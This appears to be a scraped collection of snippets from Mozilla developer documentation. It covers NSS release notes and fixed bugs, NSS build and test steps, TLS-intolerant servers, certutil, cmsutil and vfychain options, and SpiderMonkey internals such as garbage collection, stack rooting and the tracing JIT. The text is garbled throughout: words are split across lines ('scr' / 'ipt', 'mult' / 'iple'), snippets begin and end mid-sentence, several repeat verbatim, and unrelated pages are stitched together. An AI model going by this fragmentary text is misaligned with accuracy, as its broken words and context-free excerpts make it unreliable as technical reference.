ipsenv' "defined but not used" bug 1615208 - send dtls version numbers in dtls 1.3 supported_versions extension to avoid an incompatibility. bug 1538980 - secu_readderfromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/freebl/ecl/ecp_25519.c:88 bu...
...upported_versions extension to avoid an incompatibility. ...
...ug 1538980 - secu_readderfromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/freebl/ecl/ecp_25519.c:88 bug 1609751 - add test for mp_int clamping bug 1582169 - don't attempt to read the f
ips_enabled flag on the machine unless nss was built with f
ips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/bug...
NSS 3.55 release notes
butors: danh distribution information the hg tag is nss_3_55_rtm. nss 3.55 requires nspr 4.27 or newer. nss 3.55 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_55_rtm/src/ other releases are available in nss releases. notable changes in nss 3.55 p384 and p521 ell
iptic curve implementations are replaced with verifiable implementations from fiat-crypto and ecckiila. special thanks to the network and information security group (nisec) at tampere university. pk11_findcertinslot is added. with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other mechanisms. see bug 1649633 for mor...
...ability improvements over other mechanisms. see bug 1649633 for more details. dtls 1.3 implementation is updated to draft-38. see bug 1647752 for details. nspr dependency updated to 4.27. known issues on some platforms, using the makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make. another potential workaround is to use the gyp-based build.sh scr
ipt. if this affects you, please help us narrow down the cause in bug 1653975. bugs fixed in nss 3.55 bug 1631583 (cve-2020-6829, cve-2020-12400) - replace p384 and p521 with new, verifiable implementations from fiat-crypto and ecckiila. bug 1649487 - move overzealous assertion in vfy_endwithsignature. bug 1631573 (cve-2020-12401) - remove unnecessary scalar padding. bug 1636771 (cve-2020-...
...s (sanitizer fix). bug 1653202 - fix initialization bug in blapitest when compiled with nss_disable_deprecated_seed. bug 1646594 - fix avx2 detection in makefile builds. bug 1649633 - add pk11_findcertinslot to search a given slot for a der-encoded certificate. bug 1651520 - fix slotlock race in nsc_gettokeninfo. bug 1647752 - update dtls 1.3 implementation to draft-38. bug 1649190 - run c
ipher, sdr, and ocsp tests under standard test cycle in ci. bug 1649226 - add wycheproof ecdsa tests. bug 1637222 - consistently enforce iv requirements for des and 3des. bug 1067214 - enforce minimum pkcs#1 v1.5 padding length in rsa_checksignrecover. bug 1643528 - fix compilation error with -werror=strict-prototypes. bug 1646324 - advertise pkcs#1 schemes for certificates in the sign...
NSS sources building testing
ss sources.) the nss directory contains the following important subdirectories: nss/coreconf contains knowledge for cross platform building. nss/lib contains all the library code that is used to create the runtime libraries used by applications. nss/cmd contains a set of various tool programs that are built using nss. several tools are general purpose and can be used to inspect and man
ipulate the storage files that software using the nss library creates and modifies. other tools are only used for testing purposes. however, all these tools are good examples of how to write software that makes use of the nss library. nss/test this directory contains the nss test suite, which is routinely used to ensure that changes to nss don't introduce regressions. nss/gtests code for nss u...
...f development work, in order to ensure your changes don't introduce regressions. when adding new features to nss, tests for the new feature should be added as well. you must build nss prior to running the tests. after the build on your computer has succeeded, before you can run the tests on your computer, it might be necessary to set additional environment variables. the nss tests will start tcp/
ip server tools on your computer, and in order for that to work, the nss test suite needs to know which hostname can be used by client tools to connect to the server tools. on machines that are configured with a hostname that has been registered in your network's dns, this should work automatically. in other environments (for example in home networks), you could set the host and domsuf (for domain s...
...the nss suite which hostname to use. as a test, it must be possible to successfully use the command "ping $host.$domsuf" on your computer (ping reports receiving replies). on many computers the variables host=localhost domsuf=localdomain works. in case you built nss in 64 bits, you need to set the use_64 environment variable to 1 to run the tests. if you get name resolution errors, try to disable
ipv6 on the loopback device. after you have set the required environment variables, use "cd nss/tests" and start the tests using "./all.sh". the tests will take a while to complete; on a slow computer it could take a couple of hours. once the test suite has completed, a summary will be printed that shows the number of failures. you can find the test suite results in directory nss/../tests_results ...
Notes on TLS - SSL 3.0 Intolerant Servers
rsion number to a lower version number. this feature was kind of meaningless until tls (ssl 3.1) came along because there was no version higher than 3.0 from which to be rolled back. tls is now available and used, and products that have implemented the roll-back detection incorrectly are not interoperable with tls/ssl spec-compliant clients. normally the servers which have this problem are not equ
ipped to deal with the tls protocol, but instead of rolling back to ssl 3.0 as the rollback provision provides, they terminate/drop the connection, thus resulting in most cases a blank page display. for up-to-date information, you can read a bugzilla bug report which keeps track of this problem with mozilla-based browsers. see bug 59321. servers currently known to exhibit this intolerant behavior ...
...gies (* update available) n.b. there might be servers other than those listed above which exhibit this problem. if you find such a server, feel free to add it to this page. for up-to-date information, you can read this bug 59321 which keeps a list of tls/ssl 3.0 intolerant servers. users: how to avoid this problem? netscape 6.1 preview release 1, or mozilla 0.9.1 and earlier these versions sh
ipped with the tls option turned on as the default but with no way to deal with the problem servers. if you are using these old versions, please update to the latest netscape or mozilla versions. you can also avoid such a problem by editing an existing profile -- check the preference option setting at: edit | preferences | privacy and security | ssl | enable tls, and turn it off if it is on for thes...
...he problem servers. if you are using these old versions, please update to the latest netscape or mozilla versions. you can also avoid such a problem by editing an existing profile -- check the preference option setting at: edit | preferences | privacy and security | ssl | enable tls, and turn it off if it is on for these earlier browsers. netscape 6.1 or mozilla 0.9.2 and later these browsers sh
ipped with the tls option on but also included a graceful rollback mechanism on the client side when they encounter known tls/ssl 3.0 intolerant servers. firefox 2 and later starting with firefox 2, support for ssl 2.0 has been disabled by default; unless it is expressly re-enabled by the user using about:config. website administrators: how to avoid this problem? upgrade to a newer version if ...
Overview of NSS
tailed information about nss, see wiki.mozilla.org and nss faq. source code for a java interface to nss is available in the mozilla cvs tree. for details, see network security services for java. nss makes use of netscape portable runtime (nspr), a platform-neutral open-source api for system functions designed to facilitate cross-platform development. like nss, nspr has been battle-tested in mult
iple products. for more information, see the nspr project page. interoperability and open standards you can use nss to support a range of security standards in your application, including the following: ssl v3. the secure sockets layer (ssl) protocol allows mutual authentication between a client and server and the establishment of an authenticated and encrypted connection. tls v1.3 (rfc 8446),...
...the online certificate status protocol (ocsp) governs real-time confirmation of certificate validity. pkix certificate and crl profile (rfc 3280). the first part of the four-part standard under development by the public-key infrastructure (x.509) working group of the ietf (known at pkix) for a public-key infrastructure for the internet. ...
...rt of the four-part standard under development by the public-key infrastructure (x.509) working group of the ietf (known at pkix) for a public-key infrastructure for the internet. rsa, dsa, ecdsa, diffie-hellman, ec diffie-hellman, aes, tr
iple des, des, rc2, rc4, sha-1, sha-256, sha-384, sha-512, md2, md5, hmac: common cryptographic algorithms used in public-key and symmetric-key cryptography. f
ips 186-2 pseudorandom number generator. for complete details, see encryption technologies. f
ips 140 validation and niscc testing the nss software crypto module has been validated three times for conformance to f
ips 140 at security levels 1 and 2. for more information, see the nss f
ips page (or this one). the nss libraries passed the niscc tls/ssl and s/mime test suites (1.6 million test cases ...
FC_GetFunctionList
a user may call fc_getfunctionlist without logging into the token (to assume the nss user role). return value fc_getfunctionlist always returns ckr_ok. ...
...a user may call fc_getfunctionlist without logging into the token (to assume the nss user role). return value fc_getfunctionlist always returns ckr_ok. ...
...a user may call fc_getfunctionlist without logging into the token (to assume the nss user role). return value fc_getfunctionlist always returns ckr_ok. ...
NSPR functions
me the nspr socket i/o functions pr_recv and pr_send (used by the nss ssl functions) take a printervaltime timeout parameter. printervaltime has an abstract, platform-dependent time unit. call pr_secondstointerval or pr_millisecondstointerval to convert a time interval in seconds or milliseconds to printervaltime. pr_secondstointerval pr_millisecondstointerval nspr i/o layering nspr file descr
iptors can be layered, corresponding to the layers in the network stack. the ssl library in nss implements the ssl protocol as an nspr i/o layer, which sits on top of another nspr i/o layer that represents tcp. you can implement an nspr i/o layer that wraps your own tcp socket code. the following nspr functions allow you to create your own nspr i/o layer and man
ipulate it. pr_getuniqueidentity pr...
..., which sits on top of another nspr i/o layer that represents tcp. you can implement an nspr i/o layer that wraps your own tcp socket code. the following nspr functions allow you to create your own nspr i/o layer and man
ipulate it. pr_getuniqueidentity pr_createiolayerstub pr_getdefaultiomethods pr_getidentitieslayer pr_getlayersidentity pr_pushiolayer pr_popiolayer wrapping a native file descr
iptor if your current tcp socket code uses the standard bsd socket api, a lighter-weight method than creating your own nspr i/o layer is to simply import a native file descr
iptor into nspr. this method is convenient and works for most applications. pr_importtcpsocket socket i/o functions as mentioned above, the ssl library in nss implements the ssl protocol as an nspr i/o layer. users call nspr ...
...our own nspr i/o layer is to simply import a native file descr
iptor into nspr. this method is convenient and works for most applications. pr_importtcpsocket socket i/o functions as mentioned above, the ssl library in nss implements the ssl protocol as an nspr i/o layer. users call nspr socket i/o functions to read from, write to, and shut down an ssl connection, and to close an nspr file descr
iptor. pr_read pr_write pr_recv pr_send pr_getsocketoption pr_setsocketoption pr_shutdown pr_close ...
NSS tools : vfychain
this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. ...
...this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. ...
... policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trusted (overrides db trust) -u usage 0=ssl client, 1=ssl server, 2=ssl stepup, 3=ssl ca, 4=email signer, 5=email rec
ipient, 6=object signer, 9=protectedobjectsigner, 10=ocsp responder, 11=any ca -v verbose mode. prints root cert subject(double the argument for whole root cert info) -w password database password -w pwfile password file revocation options for pkix api (invoked with -pp options) is a collection of the following flags: [-g type [-h flags] [-m type [-s flags]] ...] ... where: -g test-type sets status ...
NSS reference
_init nss_initialize nss_shutdown utility functions based on "utility functions" in nss public functions. certificate functions based on certificate functions in the ssl reference and "certificate functions" in nss public functions. ...
...5getkeylength sec_pkcs5getpbealgorithm sec_pkcs5isalgorithmpbealg pkcs #12 functions based on "archived pkcs #12 functions documentation." used to exchange data such as private keys and certificates between two parties. ...
... these functions are listed in this section. error codes based on "nss and ssl error codes" in the ssl reference. ...
NSS Tools certutil
y the password to include in a certificate or to access a certificate database. this is a plain-text file containing one password. be sure to prevent unauthorized access to this file. -g keysize set a key size to use when generating new public and private key pairs. the minimum is 512 bits and the maximum is 8192 bits. the default is 1024 bits. any size that is a mult
iple of 8 between the minimum and maximum is allowed. -h tokenname specify the name of a token to use or act on. unless specified otherwise the default token is an internal slot (specifically, internal slot 2). this slot can also be explicitly named with the string "internal". an internal slots is a virtual slot maintained in software, rather than a hardware device. int...
...ple: -t "tcu,cu,tuw" use the -l option to see a list of the current certificates and trust attributes in a certificate database. -u certusage specify a usage context to apply when validating a certificate with the -v option. the contexts are the following: c (as an ssl client) v (as an ssl server) s (as an email signer) r (as an email rec
ipient) -v valid-months set the number of months a new certificate will be valid. the validity period begins at the current system time unless an offset is added or subtracted with the -w option. if this argument is not used, the default validity period is three months. when this argument is used, the default three-month period is automatically added to any value given ...
...ertificate constraint extension. constraint extensions are described in standard x.509 v3 certificate extensions in appendix a.3 of thered hat certificate system administration guide. -3 add an authority keyid extension to a certificate that is being created or added to a database. this extension supports the identification of a particular certificate, from among mult
iple certificates associated with one subject name, as the correct issuer of a certificate. the certificate database tool will prompt you to select the authority keyid extension. authority key id extensions are described under standard x.509 v3 certificate extensions in appendix b.3 of thered hat certificate system administration guide. -4 add a crl distribution point e...
NSS Tools cmsutil
mmand are defined as follows: options -ddecode a message. -c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. arguments -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of rec
ipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of rec
ipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (defau...
...ut cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r rec
ipient1,rec
ipient2, . . . specify list of rec
ipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is <tt>certusageemailsigner)</tt>. <-y ekprefnick specify an encryption key preference by nickname. usage cmsutil -c [-i...
...mail addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is <tt>certusageemailsigner)</tt>. <-y ekprefnick specify an encryption key preference by nickname. usage cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "rec
ipient1,rec
ipient2, . . ." -e envfile cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c content] [-n] [-h num] cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "rec
ipient1,rec
ipient2, . . ." cmsutil -o [-i infile] [-o outfile] [-d dbdir] [-p password] -r "cert1,cert2, . . ." cmsutil -s [-i infile] [-o outfile] [-d dbdir] [-p password] -n nickname[-tgp] [-y ekprefnic...
NSS tools : vfychain
this tool can also create certificate, key, and module security database files. ...
...this tool can also create certificate, key, and module security database files. ...
... certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trusted (overrides db trust) -u usage 0=ssl client, 1=ssl server, 2=ssl stepup, 3=ssl ca, 4=email signer, 5=email rec
ipient, 6=object signer, 9=protectedobjectsigner, 10=ocsp responder, 11=any ca -v verbose mode. prints root cert subject(double the argument for whole root cert info) -w password database password -w pwfile password file revocation options for pkix api (invoked with -pp options) is a collection of the following...
Necko Interfaces Overview
warning: the content of this article may be out of date. it was last updated in 2001. nsiioservice central necko service manages protocol handlers thin layer over protocol handlers provides interface for creating uri objects from uri strings maps uri scheme to appropriate ns
iprotocolhandler impl nsiuri (nsiurl, nsifileurl, nsistandardurl) represents an uri, with getters and setters for various uri parts (eg. scheme, host, path, ...) per protocol implementation necko provides uri impl's for common uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie. channel is used to download the resource once) download initiated via nsichannel:...
...for common uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie. channel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method ns
iprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg. http) maps uri string to nsiuri instance via newuri method creates nsichannel instance from nsiuri instance via newchannel method nsistreamlistener : nsirequestobserver implemented by the consumer of a nsichannel instance passed to nsichannel::asyncopen method nsirequestobserver::onstartrequest - notifie...
...to its load group during invocation of asyncopen channel impl removes itself from its load group when download completes load groups in gecko own all channels used to load a particular page (until the channels complete) all channels owned by a load group can be canceled at once via the load group's nsirequest::cancel method nsitransport represents a physical connection, such as a file descr
iptor or a socket used directly by protocol handler implementations (as well as by mailnews and chatzilla) synchronous i/o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: p...
Rhino history
rhino gets its name from the animal on the cover of the o'reilly book about javascr
ipt. the rhino project was started at netscape in the autumn of 1997. at the time, netscape was planning to produce a version of navigator written entirely in java and so it needed an implementation of javascr
ipt written in java. when netscape stopped work on "javagator," as it was called, somehow rhino escaped the axe (rumor had it that the executives "forgot" it existed). for a time, a couple of major companies (including sun) licensed rhino for use in their products and paid netscape to do so, allowing work on rhino to continue. now rhino is part of mozilla's open-source repository. originally, rhino compiled all javascr
ipt code to java bytecodes in generated classfiles. this produced the best per...
...t existed). for a time, a couple of major companies (including sun) licensed rhino for use in their products and paid netscape to do so, allowing work on rhino to continue. now rhino is part of mozilla's open-source repository. originally, rhino compiled all javascr
ipt code to java bytecodes in generated classfiles. this produced the best performance (often beating the c implementation of javascr
ipt when run on a jit), but suffered from two faults. first, compilation time was long since generating java bytecodes and loading the generated classes was a heavyweight process. also, the implementation effectively leaked memory since most jvms don't really collect unused classes or the strings that are interned as a result of loading a class file. so in fall of 1998, rhino added an interpretive ...
...ding the generated classes was a heavyweight process. also, the implementation effectively leaked memory since most jvms don't really collect unused classes or the strings that are interned as a result of loading a class file. so in fall of 1998, rhino added an interpretive mode. the classfile generation code was moved to an optional, dynamically-loaded package. compilation is faster and when scr
ipts are no longer in use they can be collected like any other java object. rhino was released to mozilla.org in april 1998. originally rhino classfile generation had been held back from release. however the licensees of rhino have now agreed to release all of rhino to open source, including class file generation. since its release to open source, rhino has found a variety of uses and an increasing...
GCIntegration - SpiderMonkey Redirect 1
hey will affect gecko code that uses jsapi. at a high level, there are three issues to be aware of: interactions between the garbage collector and the cycle collector incremental garbage collection moving garbage collection the apis for gc/cc interaction and incremental gc are already in place. development of moving gc (both generational and compacting) is under way, but only in the javascr
ipt shell so far. we're still thinking about how the apis for moving gc should work. overview before digging too deep, here are some quick rules of thumb for how to write code that will work smoothly with the gc regardless of changes that happen in the future. avoid having c++ objects that point to js objects (unless it's just to their own wrapper--that's okay). it's safe for js objects to poin...
...traced pointers, so there's no danger that overwriting an untraced pointer will disrupt the snapshot. some pointers are guaranteed to be marked in the first slice of the gc. therefore, it's not possible for code to modify them between when the initial snapshot is taken and when the pointer is marked, so no write barrier is needed. many pointers in gecko are traced via ns_decl_cycle_collection_scr
ipt_holder_class and its related macros. these pointers are always traced in the first slice, and so they don't need a write barrier. many other xpconnect pointers are also traced in this way. see xpcjsruntime::traceblackjs and xpcjsruntime::tracegrayjs. if a pointer doesn't fit one of these categories, then it probably requires a write barrier. before the pointer is modified (except initializing ...
...ng written--if the object being written to has a finalizer, a write barrier may still be required. if a pointer is not traced, as by js_call_tracer, then there is no need for a write barrier. if a pointer is a root, then that pointer will be scanned during every nursery collection, so there is no need for a write barrier. as above, this means that classes governed by ns_decl_cycle_collection_scr
ipt_holder_class do not need a write barrier on their fields. we have not decided yet on an api for write barriers. we don't know yet how many there will be outside of the javascr
ipt engine. ody> ...
Bytecodes
background spidermonkey bytecodes are the canonical form of code representation that is used in the javascr
ipt engine. the javascr
ipt frontend constructs an ast from the source text, then emits stack-based bytecodes from that ast as a part of the jsscr
ipt data structure. bytecodes can reference atoms and objects (typically by array index) which are also contained in the jsscr
ipt data structure. within the engine, all bytecode execute within a stack frame -- even global (top-level) and eval code has a stack frame associated with it. a frame on the stack has space for javascr
ipt values (the tagged value format) in a few different categories. ...
... local slots: holds the local variables used by the current code. expression slots: holds the temporary space that you need to calculate expressions on a stack. ...
... and the callee / return value. there is always a "top of stack" (tos) that corresponds to the latest value pushed onto the expression stack. all bytecodes implicitly operate in terms of this location. bytecode listing all opcodes are annotated with a [-popcount, +pushcount] to represent the overall stack-effects their execution. bytecode listing was moved to spidermonkey internals: bytecode descr
iptions page. ...
Exact Stack Rooting
ters that is very efficiently able to add and remove gcpointers to the rootedset. the downside of this efficiency is that gcpointers must be added to and removed from this rootedset tracking structure in lifo order. for this reason it is highly recommended that this rooting mechanism only be used on the cstack. js::rooted<t> typedef js::rooted<t> rootedt; -> rootedobject, rootedstring, rootedscr
ipt, etc. because of the lifo restriction, using this interface manually is extremely cumbersome. instead, spidermonkey has a convenient suite of c++ raii classes to do this for you, called js::rootedt: rootedstring str1(cx, js_valuetostring(cx, val)); rootedstring str2(rt, js_valuetostring(cx, val)); note 1: c++ insists that an initializing assignment (e.g., the default constructor followed b...
...ion() that creates a handle from an arbitrary location. this is used to make handles for things like scope chain objects, which aren't explicitly rooted themselves, but are always reachable from the implicit stack roots. every use of these should be commented to explain why they are guaranteed to be rooted. js::handle<t> typedef js::handle<t> js::handlet; -> handleobject, handlestring, handlescr
ipt, etc. any single gcthing is likely to get passed through a fairly deep call-stack before getting used. even though creating a new js::rootedt is cheap, it is silly to repeat this work for every new call frame. to solve this, we use the standard "handle" approach. a js::handlet is a pointer to a js::rootedt. a js::rootedt will automatically convert to a js::handlet. by using js::handlet in the ...
...sis to fail if these are detected. storing a js::handlet on the heap. it is very easy for the handle to outlive its root if you do this. again, there are annotations with moz_stack_class. returning a js::handlet from a function. if you do this, a handle may outlive its root. definitions gc - acronym for garbage collection: specifically spidermonkey's method of automatically managing javascr
ipt program memory. gcthing - storage allocated by spidermonkey's allocator. gcpointer - a raw pointer type or tagged pointer type that may refer to a gcthing (jsobject *, jsstring *, value, jsid, etc.) gcheap - the graph of gcthings allocated by spidermonkey's allocator. the goal of spidermonkey's gc is to partition this heap into regions reachable from the rootset and not. root - a gcpointer h...
Statistics API
the environment variable moz_gctimer controls text dumping of gc stats. moz_gctimer may be none, stderr, stdout, or a filename. if a filename is given, data is appended to that file. when logging to a file is used in combination with multi-process firefox (e10s) it is necessary to set security.sandbox.content.level = 0, otherwise the content process will crash. the browser preference javascr
ipt.options.mem.log controls dumping of human-readable gc stats messages to the developer console. the browser preference javascr
ipt.options.mem.notify controls emission of json encoded gc stats to an observer interface. json api addons can obtain the complete data in json format via an observer. the following adds an observer using the jetpack framework. var prefs = require("api-utils/preferen...
...observer interface. json api addons can obtain the complete data in json format via an observer. the following adds an observer using the jetpack framework. var prefs = require("api-utils/preferences-service"); components.utils.import('resource://gre/modules/services.jsm'); function observer(subject, topic, json) { var data = json.parse(json); // process the data } prefs.set("javascr
ipt.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (microseconds) - time at which the gc ended, measured from epoch. total_time: number (milliseconds) - the amount of wall time that this gc consumed. note: this is the sum of all the slice durations, not end time - start t...
...number of compartments that were present in the system at the end of the gc. max_pause: number (milliseconds) - longest duration pause during the gc. nonincremental_reason: string - a string representing the reason that an incremental gc was aborted or forced to finish in a single slice. if the incremental gc completed normally, this will be "none". allocated: integer (mb) - size of the javascr
ipt heap in mib at the start of the gc. slices: array of objects - a list of objects describing each slice in detail. times: object - a map from phase names to the total time taken by each phase: the sum of each field of the map from the slices. the last two fields require a bit of elaboration. gc work can be divided into phases, such as marking or sweeping. the division into phases is hierarchi...
Invariants
enerators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle. (we can probably loop forever if that happens. js_setparent can violate this, if the application is really that dumb, but generally every object is newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object. (if it is a scr
ipt function, global names accessed in that function would refer to a different global object. even if the function is native, there is serious trouble: js_newobject with null parent argument calculates the parent from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties starting at any jsshape and chasing jsshape::parent never forms a cycle and does not contain any du...
...to be creating any new objects (other than global objects, which have no parent or prototype) or doing anything that might call back into native code that could create objects. we do this in order to save some cpu cycles (in other words, for no good reason whatsoever). if !js_isrunning(cx) && cx->globalobject == null, then cx->compartment == cx->runtime->defaultcompartment. while executing a scr
ipt, cx->compartment == scr
ipt->compartment. but this is true only so long as we are actually in the interpreter or jit code. a jsnative or other callback may move cx to another compartment, as long as it returns cx to the scr
ipt's compartment before returning. a given trace-jit trace stays within a single compartment (indeed, a single global object) end-to-end. lifetime invariants in some places...
...stest, followed by jsop_{get,call}upvar, jsop_{get,call}dslot, jsop_{get,call,set}gvar, and lastly jsop_{,call,set}name. if it cannot be statically proven that a name always refers to a specific variable (meaning either a parameter or a variable introduced by var/let/function/const) in the program, then a name op must be emitted. (it would result in a bug where the wrong variable is used. javascr
ipt is only mostly lexically scoped. some nameexpressions might refer to a variable or global; or might at runtime turn out to reference another object property, due to with, or a variable that isn't in the source code at all but was injected into a local scope by eval. these cases can be detected statically by looking for with and eval "nearby" in the parse tree.) if a nested function contains a n...
Property cache
e it. nor do {inc,dec}prop or prop{inc,dec}. nor do operations such as add that only need to look up a property (.tostring) in unusual cases. throughout this article, phrases such as "own property" should be taken to refer to the low-level representation of properties in scopes and shape chains. in the case of shared permanent properties, this differs from the notion of "own property" seen by scr
ipts via object.prototype.hasownproperty. shape native objects have a shape, a 24-bit unsigned integer such that: basic layout guarantee -- if at time t0 the object x has shape s and at time t1 the object y has shape s, and no shape-regenerating gc occurred, then y at t1 has the same jsclass, jsobjectops, prototype, and property specs as x had at t0. to be more precise regarding property spe...
...o it is disabled permanently. see bug 440834. property cache entries each entry in the property cache hash table is either populated or not; unpopulated entries have .kpc == null. if an entry is populated, the .kpc field points to the bytecode instruction at which it was populated. the entry is valid only for subsequent lookups that occur at the same instruction, for several reasons: the scr
ipt, not the property cache entry, contains the id of the property being accessed. a property cache entry could be valid for a getprop but not a setprop, e.g. because the property has a setter and not a getter; or vice versa. lookups for jof_name instructions are quite different from ordinary property lookups: name lookups follow the scope chain and the prototype chain, whereas the others only fol...
...ies {.kpc=pc, .kshape=kshape, .vshape()=vshape, .scopeindex()=0, .protoindex()=0, .vword=vword} where kshape != vshape this type of entry is only created for jsop_setprop and jsop_setname instructions that create a new property. when the operand to the instruction at pc is an object obj with shape kshape, and rt->protohazardshape == vshape, the lookup can be sk
ipped. it is guaranteed that obj does not have an own property with the desired name and does not inherit a jsprop_shared or jsprop_readonly property with that name from any prototype. it is guaranteed that vword.issprop(), and vword.tosprop() describes the property that should be added to obj. with regard to property attributes, getters, setters, and so forth, the property cache entry must take int...
SpiderMonkey Internals: Thread Safety
it is mainly of interest to people working on spidermonkey itself. see js_threadsafe for a gentler introduction to using spidermonkey in a multi-threaded application. general background spidermonkey has a top-level struct, jsruntime, that acts as a container for everything else. a program typically has only one jsruntime, even if it has many threads. each runtime has one or more jscompartments. ...
... or more jscompartments. the jscompartment is the universe in which js objects live. they can't travel to other jscompartments. crucially, any given compartment may only be accessed by one thread at a time. this means that objects cannot be shared across compartments. all js code and most jsapi calls run within a jscontext. the jscontext can be thought of as a machine that knows how to run javascr
ipt code, or as an abstraction of the notion of a thread. exception handling, for example, is per-jscontext. each jscontext must be used by only one thread at a time. a single jscontext can run work with code and objects in mult
iple compartments as long as no other thread is accessing those compartments. objects may be shared among jscontexts within a jscompartment. there's no fixed association betw...
... accesses to jsruntime data structures are serialized with a few mutexes. the treatment of gc requires more explanation. making gc thread-safe with js_threadsafe, the api changes slightly. the program must group jsapi calls into "requests": js_setcontextthread(cx); js_beginrequest(cx); /* ... do stuff ... */ js_endrequest(cx); js_clearcontextthread(cx); it isn't a bottleneck; mult
iple threads are allowed to be in requests on the same jsruntime at once. see js_beginrequest. the most obvious effect of a request is: at any given moment there can either be mult
iple threads in active requests, or one thread doing gc and all requests suspended. a call to js_gc() will block until the latter becomes possible. in other words, gc waits until each other thread is either outside jsapi (...
Tracing JIT
ode. a single instruction of lir is called a lins, short for "lir instruction". lins values are depicted in blue in the schematic diagram. in contrast, a single native instruction is called a nins, and is depicted in red in the schematic diagram. the recorder in jstracer inserts lins values into a lir buffer held in a page, itself contained within a logical fragment, and the nanojit compilation p
ipeline and assembler transform the lins values into nins values. nanojit/fragmento.* the nanojit/fragment.cpp and nanojit/fragmento.cpp files define the fragment and fragmento classes. a fragmento is a resource-management object that allocates and stores a set of fragments and pages, and manages their lifecycle. a fragmento owns its associated fragments. a fragment represents a single linear cod...
... and manages their lifecycle. a fragmento owns its associated fragments. a fragment represents a single linear code sequence, typically terminating in a jump to another fragment or back to the beginning of the fragment. a fragment's code is stored in a set of associated pages and guardrecords allocated from the fragment's owning fragmento. a fragment initially holds no pages. as the compilation p
ipeline inserts lir instructions (lins values) into the fragment, it allocates pages to store the lir code. later, when the fragment is assembled, it will allocate pages for the native code (nins values) produced by the assembler. when the fragment is destroyed, it returns its pages to the fragmento for reuse. nanojit/assembler.* the nanojit/assembler.cpp and nanojit/assembler.h files define the c...
...it/assembler.* the nanojit/assembler.cpp and nanojit/assembler.h files define the class assembler, which transforms lins values into nins values. in other words, an assembler transforms lir code into native code. an assembler is also able to modify existing fragments of native code, by rewriting native jump instructions to jump to new locations. in this way the assembler can "patch together" mult
iple fragments, so that program control can flow from one fragment into another, or back out of generated code and into the interpreter. an assembler is the only component of the tracing jit that reads or writes native code. therefore an assembler contains several machine-specific methods which are implemented in the accompanying nanojit/native*.* files. an assembler runs in a single pass over its...
JS::CloneFunctionObject
this article covers features introduced in spidermonkey 38 create a new function object from an existing jsfunction. ...
...the new object has the same code and argument list as funobj. if scopechain is supplied, it uses scopechain as its enclosing scope. if scopechain is omitted, it creates a new function object in cx's global. ...
...j is an extant function that you wish to use as if it were enclosed by a newly-created global object. the new object's prototype is function.prototype; js_newobject : choosing a default prototype explains exactly how this is computed. js::clonefunctionobject takes care to choose a prototype that shares a global object with the given parent whenever possible. funobj must be a pointer to a javascr
ipt function object (see js_objectisfunction). on success, js::clonefunctionobject returns a pointer to the newly created object. if the class of funobj is not function, then js::clonefunctionobject returns funobj itself. on failure, it returns null. see also mxr id search for js::clonefunctionobject bug 1088228 bug 1089026 ...
JS::SourceBufferHolder
this article covers features introduced in spidermonkey 31 container class for passing in scr
ipt source buffers to the js engine. constructor enum ownersh
ip { noownersh
ip, giveownersh
ip }; js::sourcebufferholder(const char16_t *data, size_t datalength, ownersh
ip ownersh
ip); name type descr
iption data const char16_t * source buffer containing the scr
ipt to compile. datalength size_t the length of data, in characters. ownersh
ip ownersh
ip see descr
iption. descr
iption js::sourcebufferholder is the container class for passing in scr
ipt source buffers to the js engine. ...
